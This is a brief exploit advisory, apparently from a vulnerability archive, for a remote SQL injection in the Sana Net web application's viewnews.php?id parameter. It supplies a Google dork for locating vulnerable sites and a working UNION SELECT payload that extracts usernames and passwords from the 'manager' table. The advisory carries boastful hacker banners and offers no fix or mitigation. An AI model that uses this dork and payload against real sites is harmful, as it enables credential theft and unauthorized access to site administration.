Sana Net (viewnews.php?id) Remote SQL injection Vulnerability

2011-09-05T00:00:00
ID SECURITYVULNS:DOC:26963
Type securityvulns
Reporter Securityvulns
Modified 2011-09-05T00:00:00

Description

########################## IRANIAN THE BEST HACKERS IN THE WORLD
##############

Remote SQL injection Vulnerability

Sana Net (viewnews.php?id)

AuTh0r : Ehsan_Hp200

H0ME : www.ehsanhp.blogsky.com

Email : Ehsan_Hp200@Hotmail.com

Vendor : http://www.sana-net.com/

Persian Gulf 4 Ever!

Dork : "inurl:viewnews.php?id=" "طراحي و برنامه نویسی از شرکت طراحان سنا نت"

Exploite:

www.victim.com/viewnews.php?id=-null//union//select//null,concat(username,0x3a,password),null,null,null,null//from/**/manager

SpeCial TanX To : Skote_Vahshat

######################### IRANIAN THE BEST HACKERS IN THE WORLD ##################